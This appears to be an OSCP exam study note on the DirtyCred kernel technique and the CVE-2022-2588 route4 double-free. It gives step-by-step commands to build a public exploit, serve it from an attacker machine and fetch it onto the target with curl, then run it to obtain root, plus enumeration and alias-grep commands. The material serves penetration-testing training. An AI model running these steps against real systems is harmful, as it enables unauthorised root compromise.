DirtyCred — CVE-2022-2588
Ctrl+F:
DirtyCred·CVE-2022-2588· route4 · credential swap · heap
DirtyCred — kernel exploitation technique (Black Hat 2022) that swaps unprivileged kernel credentials with privileged ones via heap reuse — works with UAF/double-free bugs.
CVE-2022-2588 — double-free in route4 classifier (net/sched/cls_route.c) — common PoC demonstrating DirtyCred on kernel 5.x.
OSCP note: Less frequent than Dirty Pipe - CVE-2022-0847 or Baron Samedit - CVE-2021-3156, but LES flags it — worth knowing if suggester hits.
→ Linux > 📌 9) Kernel Exploits · linux-exploit-suggester
📌 When to try
| Signal | Check |
|---|---|
| LES output | CVE-2022-2588 / route4 / DirtyCred |
| Kernel 5.x (esp. 5.8–5.19) | uname -r |
| Other kernel exploits failed | Last-resort after sudo/SUID/cron/docker |
uname -a
./linux-exploit-suggester.sh -f uname.txt -s CVE-2022-2588Patched: kernel 5.19+ with fix backported to distros — verify build date.
📌 Reference links
| Resource | URL |
|---|---|
| DirtyCred technique | github.com/Markakd/DirtyCred |
| CVE-2022-2588 PoC | github.com/Markakd/CVE-2022-2588 |
| Paper / slides | DirtyCred PDF |
📌 How DirtyCred works (short)
- Trigger heap bug (double-free / UAF) on a kernel object
- Spray heap to place a privileged
credwhere unprivileged one was - Process inherits root credentials — or overwrite
filestruct to write/etc/passwd
Data-only — no RIP control; bypasses many classic mitigations. Technique applies to multiple CVEs — 2588 is the PoC LES most often cites.
📌 Exploit — Markakd CVE-2022-2588
Requires on target: gcc, make, vulnerable kernel
# Kali
git clone https://github.com/Markakd/CVE-2022-2588.git
cd CVE-2022-2588
make
# Read README — may need specific kernel / config# Transfer to target
python3 -m http.server 8080
curl http://KALI:8080/exp -o exp && chmod +x exp
./exp
idAuthor test VMs: DirtyCred repo — login low / low
📌 searchsploit
searchsploit CVE-2022-2588
searchsploit route4
./linux-exploit-suggester.sh -f uname.txt📌 Troubleshooting
| Problem | Fix |
|---|---|
| Exploit fails on target kernel | DirtyCred PoCs are kernel-build sensitive — try Dirty Pipe / Baron Samedit first |
| System crash | Double-free exploitation — one retry max on exam |
| No LES hit | Skip — focus higher-priority vectors |
📌 Quick cheat sheet
./linux-exploit-suggester.sh -f uname.txt | grep -i 2588
git clone https://github.com/Markakd/CVE-2022-2588.git && cd CVE-2022-2588 && make
./exp && id📌 Alias check (Linux/bash)
alias
alias | grep -iE 'sudo|root|pass|su |chmod'Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.
→ Linux > 📌 1) Basic Manual Enumeration